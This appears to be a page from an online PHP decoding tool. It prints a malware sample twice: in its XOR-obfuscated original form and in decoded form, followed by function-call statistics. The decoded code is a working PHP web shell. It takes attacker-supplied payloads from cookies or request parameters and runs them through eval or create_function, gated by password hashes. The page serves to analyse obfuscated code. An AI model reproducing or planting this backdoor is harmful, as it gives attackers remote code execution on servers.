Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $gOZSpcXGcOl='.=EYZX<>1Z;>Q8P'^'MO 8.=cXD4XJ8W>'; $XXvZDZOsbWL = $gOZSpcXGcOl('', 'U..

Decoded Output download

if(!function_exists('xor_data__mut')) {
	function xor_data__mut($data, $key)     {
		$out = '';
		for($i = 0; $i<strlen($data); $i++)
		$out .= ($data[$i] ^ $key[$i % strlen($key)]);
		return($out);
	}
}

$data = false;
$data_key = false;

foreach ($_COOKIE as $key => $value) {
	$data_key = $key;
	$data = $value;
}

if (!$data) {
	foreach ($_REQUEST as $key => $value) {
		$data_key = $key;
		$data = $value;
	}
}

$data = @unserialize(xor_data__mut(base64_decode($data), $data_key));
if($data && array_key_exists('key', $data) && (md5($data['key']) == 'cf94416b34fb053a2b893477766f739a') && array_key_exists('payload', $data))      {
	eval($data['payload']);
	exit(0);
}

if(array_key_exists('p1', $_REQUEST) && array_key_exists('pass', $_REQUEST) && (md5($_REQUEST['pass']) == 'ff6cb56b876eedf90b5bca2c0a210f91')) { call_user_func(create_function('', $_REQUEST['p1'])); exit(0); }

echo(md5(md5($_SERVER["HTTP_HOST"])));

Did this file decode correctly?

Original Code

<?php $gOZSpcXGcOl='.=EYZX<>1Z;>Q8P'^'MO 8.=cXD4XJ8W>'; $XXvZDZOsbWL = $gOZSpcXGcOl('', 'UFARVFE,>TVW4E9P;NGou5+6=UJBZ-sM<GIdEkAro,HWMIQANHSR09P0980aPOBZv0S17EvIQNTOZQnVZNg>hi,O5ZoZsEOhgC68;mEGFSWIHBNWn1T PTNQIYUZ;ZKXwQeQDZJSIW>.MoEKQBS -T4UEjD,CKVT-8A,INSN9GB,NiPGH,o0hYfdqRQAURZBlWHEpJ<Y:eGI9KOXHJnDFFT:C7SlBY;5-3>UAEJXMAL50lgf<6KU8;PZmS54r9u34G.XpEQX7kxQhV>9805Xx0oHmZSTSbW+CYVDb94OnPaV 56.LIRS;UYCKy=A:OPWMFBVY-OMQG7dKWUE5P6<bzE204<6711fZ2JQKP0iWGWJLT;U1nlPc1AKI3BW7WT-DSaR,<KZegBRVA:ZDLbKMJ5DVoEf.lEmbv+3H CLn,NRNV<Y2G,+EYS<R+ZY,Lh6P31xBM:.yY-IKCRJ-LUTY6JZJPr<JL6oYHDBGx:P4ak=.EPWplT1;6AM=-4EoI;U8.DlNU1+bFop3A9+QPOlUZ<IzfF04NM8EZVKI4ONpPLD3,ZESXA:AR.7hCXAPOSPcRFNcBQ3SZvWwPRiuyUCYO1,ZXYg VPHDCAKBLO-9XPjMQQ=8JUZCWBsuwN+os3>9+QKWAZZ5sGANV;1Du4CVOn=AY0DTkKe.E71VfLR;YOf2K7gUXD4NSkHPtDHLb1o6o><5 FlRWZLB>R;jW.R,X-BN7XBFN,I9MhKmm<+e7qd5eHskqBF<WrVo<5ba7neuA63K:L6HbDqsa33DONGN-QCRWQD4pHNrB 6YQI,uBFQhWcnHyKz06P=-0:UKs5U<:y;7.6Z5c04CTYZ<SZCTjnQ6++23<00bPPeL-PCuENXYTRVNtW1YOWQ:SOM=PzWVGQQ-55i>33kV1e0b31.b,FiySZQe'^'< is03+OJ=99k A9H:4GRMDDb1+6;r, I3nMlK:xfJ=9.=8. h+=Bf4QMYo>=:6rRT2EViVm:+-fzqNvz5m7aMC:AzRzTbtbnJPWIEa.fnwysbj>RB R<1 ym=4.ZspxS8NzmPCZm8KZmAxkyf7AY5oq,7drco=1TceEiks=M5.I At,-UFmAblmx 45  4jH8=1Yq6PGo:C3o+9<+Nyf 5V0Rhff=ZALlU08ewx+  FUWmlZY90YX8zEwjw=v>zqgO+Pa:=NKEoHrHXTEPqXKeAI>2 2=<N:ykdFRQ6UZhrDTBOltrwM456.B7<0E91mncr=L;,xgLnB1:7P1UTBRambqmcrbeF;Aju 5IIjywn:5W TGL+i8Ho-R66h<1TdnAvGY2aonKv2 N;dqBo;+Y13TOoSf8ghROR<AcqNl;<=3N0S+EQ q+S t>8X-7i=FEP ,IKOmr-. =.Hdq08B+sfpVX+8W02-=knC09RIOYO11wVJtPID 4bFQ<0,C<KZ7Di>TREjOTW MJxpiJurQ-ONbTU:,cb132nifnMmlcPJcqgiwXrfHUXvk b-kiPfqyTtgUdiO6PyrOSY41+.Hs1= 8E.9;00il2-6AV94MaquYY>4sjwbSUWnPezVHXGyo3 .;nT7 7:TP RijmEgX90DldBpoSO=X0N- I869Y.N80 -G: Co EcdlFn=s>kyftoLtqz-0L3B5<K+s=U+=C+ja>M:JjDkI2nn4b47aLhUMQj+XbZr0np34r=1.fFR8IkkaByLSFUUr,,rxOitd24 RIx,G CWk2yMGsv7QfDGaY0ZSW<QrEI09,S RYQXEKW.P<VA-7-3S=rdsFNuiyncfycd9w TkpyjNe+ 0 zfgOwLSE22R<g YeR:2ryurfp;hva0ty1d2lya1xd4Pzsjo'); $XXvZDZOsbWL();

Function Calls

null 1
create_function 1

Variables

$XXvZDZOsbWL None
$gOZSpcXGcOl create_function

Stats

MD5 4fd2b71dd958e7fcf1f1b5d81db205a7
Eval Count 1
Decode Time 97 ms